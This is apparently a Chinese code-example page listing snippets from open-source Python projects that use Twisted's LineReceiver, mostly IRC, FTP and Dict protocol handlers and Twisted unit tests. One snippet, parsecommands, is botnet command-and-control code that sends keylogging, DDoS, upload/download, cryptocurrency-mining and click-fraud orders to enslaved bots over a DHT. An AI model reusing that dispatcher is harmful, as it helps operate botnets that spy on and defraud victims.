我们从Python开源项目中,提取了以下43个代码示例,用于说明如何使用twisted.protocols.basic.LineReceiver()。
def dataReceived(self, data): """This hack is to support mIRC, which sends LF only, even though the RFC says CRLF. (Also, the flexibility of LineReceiver to turn "line mode" on and off was not required.) """ lines = (self.buffer + data).split(LF) # Put the (possibly empty) element after the last LF back in the # buffer self.buffer = lines.pop() for line in lines: if len(line) <= 2: # This is a blank line, at best. continue if line[-1] == CR: line = line[:-1] prefix, command, params = parsemsg(line) # mIRC is a big pile of doo-doo command = command.upper() # DEBUG: log.msg( "%s %s %s" % (prefix, command, params)) self.handleCommand(command, prefix, params)
def rawDataReceived(self, data): if self.timeout > 0: self.resetTimeout() self._pendingSize -= len(data) if self._pendingSize > 0: self._pendingBuffer.write(data) else: passon = '' if self._pendingSize < 0: data, passon = data[:self._pendingSize], data[self._pendingSize:] self._pendingBuffer.write(data) rest = self._pendingBuffer self._pendingBuffer = None self._pendingSize = None rest.seek(0, 0) self._parts.append(rest.read()) self.setLineMode(passon.lstrip('\r\n')) # def sendLine(self, line): # print 'S:', repr(line) # return basic.LineReceiver.sendLine(self, line)
def dataReceived(self, data): """ This hack is to support mIRC, which sends LF only, even though the RFC says CRLF. (Also, the flexibility of LineReceiver to turn "line mode" on and off was not required.) """ if isinstance(data, bytes): data = data.decode("utf-8") lines = (self.buffer + data).split(LF) # Put the (possibly empty) element after the last LF back in the # buffer self.buffer = lines.pop() for line in lines: if len(line) <= 2: # This is a blank line, at best. continue if line[-1] == CR: line = line[:-1] prefix, command, params = parsemsg(line) # mIRC is a big pile of doo-doo command = command.upper() # DEBUG: log.msg( "%s %s %s" % (prefix, command, params)) self.handleCommand(command, prefix, params)
def test_clearLineBuffer(self): """ L{LineReceiver.clearLineBuffer} removes all buffered data and returns it as a C{bytes} and can be called from beneath C{dataReceived}. """ class ClearingReceiver(basic.LineReceiver): def lineReceived(self, line): self.line = line self.rest = self.clearLineBuffer() protocol = ClearingReceiver() protocol.dataReceived(b'foo\r\nbar\r\nbaz') self.assertEqual(protocol.line, b'foo') self.assertEqual(protocol.rest, b'bar\r\nbaz') # Deliver another line to make sure the previously buffered data is # really gone. protocol.dataReceived(b'quux\r\n') self.assertEqual(protocol.line, b'quux') self.assertEqual(protocol.rest, b'')
def connectionMade(self): basic.LineReceiver.connectionMade(self) self.expectingSalt = True
def _reallySendLine(self, line): return basic.LineReceiver.sendLine(self, lowQuote(line) + '\r')
def dataReceived(self, data): basic.LineReceiver.dataReceived(self, data.replace('\r', ''))
def connectionLost(self, reason): basic.LineReceiver.connectionLost(self, reason) TelnetProtocol.connectionLost(self, reason)
def sendLine(self, line): """Throw up if the line is longer than 1022 characters""" if len(line) > self.MAX_LENGTH - 2: raise ValueError("DictClient tried to send a too long line") basic.LineReceiver.sendLine(self, line)
def sendLine(self, line): """(Private) Sends a line, unless line is None.""" if line is None: return basic.LineReceiver.sendLine(self, line)
def dataReceived(self, data): try: basic.LineReceiver.dataReceived(self, data) except: log.err() self.invalidMessage()
def _unblock(self): commands = self.blocked self.blocked = None while commands and self.blocked is None: self.lineReceived(commands.pop(0)) if self.blocked is not None: self.blocked.extend(commands) # def sendLine(self, line): # print 'C:', repr(line) # return basic.LineReceiver.sendLine(self, line)
def sendLine(self, line): # Log sendLine only if you are in debug mode for performance if self.debug: self.log.append('>>> ' + line) basic.LineReceiver.sendLine(self,line)
def _reallySendLine(self, line): quoteLine = lowQuote(line) if isinstance(quoteLine, unicode): quoteLine = quoteLine.encode("utf-8") quoteLine += b'\r' return basic.LineReceiver.sendLine(self, quoteLine)
def connectionLost(self, reason): basic.LineReceiver.connectionLost(self, reason) self.stopHeartbeat()
def dataReceived(self, data): if isinstance(data, unicode): data = data.encode("utf-8") data = data.replace(b'\r', b'') basic.LineReceiver.dataReceived(self, data)
def sendLine(self, line): """ Sends a line, unless line is None. @param line: Line to send @type line: L{bytes} or L{unicode} """ if line is None: return elif isinstance(line, unicode): line = line.encode(self._encoding) basic.LineReceiver.sendLine(self, line)
def test_rawDataError(self): """ C{LineReceiver.dataReceived} forwards errors returned by C{rawDataReceived}. """ proto = basic.LineReceiver() proto.rawDataReceived = lambda data: RuntimeError("oops") transport = proto_helpers.StringTransport() proto.makeConnection(transport) proto.setRawMode() why = proto.dataReceived(b'data') self.assertIsInstance(why, RuntimeError)
def test_rawDataReceivedNotImplemented(self): """ When L{LineReceiver.rawDataReceived} is not overridden in a subclass, calling it raises C{NotImplementedError}. """ proto = basic.LineReceiver() self.assertRaises(NotImplementedError, proto.rawDataReceived, 'foo')
def test_longUnendedLine(self): """ If more bytes than C{LineReceiver.MAX_LENGTH} arrive containing no line delimiter, all of the bytes are passed as a single string to L{LineReceiver.lineLengthExceeded}. """ excessive = b'x' * (self.proto.MAX_LENGTH * 2 + 2) self.proto.dataReceived(excessive) self.assertEqual([excessive], self.proto.longLines)
def test_longLineAfterShortLine(self): """ If L{LineReceiver.dataReceived} is called with bytes representing a short line followed by bytes that exceed the length limit without a line delimiter, L{LineReceiver.lineLengthExceeded} is called with all of the bytes following the short line's delimiter. """ excessive = b'x' * (self.proto.MAX_LENGTH * 2 + 2) self.proto.dataReceived(b'x' + self.proto.delimiter + excessive) self.assertEqual([excessive], self.proto.longLines)
def test_longLineWithDelimiter(self): """ If L{LineReceiver.dataReceived} is called with more than C{LineReceiver.MAX_LENGTH} bytes containing a line delimiter somewhere not in the first C{MAX_LENGTH} bytes, the entire byte string is passed to L{LineReceiver.lineLengthExceeded}. """ excessive = self.proto.delimiter.join( [b'x' * (self.proto.MAX_LENGTH * 2 + 2)] * 2) self.proto.dataReceived(excessive) self.assertEqual([excessive], self.proto.longLines)
def test_multipleLongLines(self): """ If L{LineReceiver.dataReceived} is called with more than C{LineReceiver.MAX_LENGTH} bytes containing multiple line delimiters somewhere not in the first C{MAX_LENGTH} bytes, the entire byte string is passed to L{LineReceiver.lineLengthExceeded}. """ excessive = ( b'x' * (self.proto.MAX_LENGTH * 2 + 2) + self.proto.delimiter) * 2 self.proto.dataReceived(excessive) self.assertEqual([excessive], self.proto.longLines)
def test_maximumLineLength(self): """ C{LineReceiver} disconnects the transport if it receives a line longer than its C{MAX_LENGTH}. """ proto = basic.LineReceiver() transport = proto_helpers.StringTransport() proto.makeConnection(transport) proto.dataReceived(b'x' * (proto.MAX_LENGTH + 1) + b'\r\nr') self.assertTrue(transport.disconnecting)
def dataReceived(self, data): try: if isinstance(data, unicode): data = data.encode("utf-8") basic.LineReceiver.dataReceived(self, data) except: log.err() self.invalidMessage()
def parsecommands(self, line): tmp = line.split(' ') cmd = tmp[0].upper() if cmd == 'KEYLOG': # Iterate through bot list and send command out in mass. # This can be changed depending on the command for key, val in self.slaves.iteritems(): output = 'Starting keylogger for bot {0}\n'.format(key) self.transport.write(output) # actually send commands out on DHT to bot. # Val is the bot's individual location it checks for commands botcmd = str(self.count) + " " + cmd self.kserver.set(val, botcmd) if cmd == 'DDOS': for key, val in self.slaves.iteritems(): output = 'Starting DDOS for bot {0}\n'.format(key) self.transport.write(output) botcmd = str(self.count) + " " + line self.kserver.set(val, botcmd) if cmd == 'DOWNLOAD': for key, val in self.slaves.iteritems(): output = 'Starting DOWNLOAD for bot {0}\n'.format(key) self.transport.write(output) botcmd = str(self.count) + " " + line self.kserver.set(val, botcmd) if cmd == 'UPLOAD': for key, val in self.slaves.iteritems(): output = 'Starting UPLOAD for bot {0}\n'.format(key) self.transport.write(output) botcmd = str(self.count) + " " + line self.kserver.set(val, botcmd) if cmd == 'BITCOIN': print("This feature isn't fully implemented, should work " "but highly insecure and slow") for key, val in self.slaves.iteritems(): output = 'Starting BITCOIN MINING for bot {0}\n'.format(key) self.transport.write(output) botcmd = str(self.count) + " " + line self.kserver.set(val, botcmd) if cmd == 'CLICKFRAUD': for key, val in self.slaves.iteritems(): output = 'Starting CLICKFRAUD for bot {0}\n'.format(key) self.transport.write(output) botcmd = str(self.count) + " " + line self.kserver.set(val, botcmd) # this is called on the initial startup as part of the LineReceiver class
def lineReceived(self, line): self.resetTimeout() self.pauseProducing() if bytes != str: line = line.decode(self._encoding) def processFailed(err): if err.check(FTPCmdError): self.sendLine(err.value.response()) elif (err.check(TypeError) and any(( msg in err.value.args[0] for msg in ( 'takes exactly', 'required positional argument')))): self.reply(SYNTAX_ERR, "%s requires an argument." % (cmd,)) else: log.msg("Unexpected FTP error") log.err(err) self.reply(REQ_ACTN_NOT_TAKEN, "internal server error") def processSucceeded(result): if isinstance(result, tuple): self.reply(*result) elif result is not None: self.reply(result) def allDone(ignored): if not self.disconnected: self.resumeProducing() spaceIndex = line.find(' ') if spaceIndex != -1: cmd = line[:spaceIndex] args = (line[spaceIndex + 1:],) else: cmd = line args = () d = defer.maybeDeferred(self.processCommand, cmd, *args) d.addCallbacks(processSucceeded, processFailed) d.addErrback(log.err) # XXX It burnsss # LineReceiver doesn't let you resumeProducing inside # lineReceived atm from twisted.internet import reactor reactor.callLater(0, d.addBoth, allDone)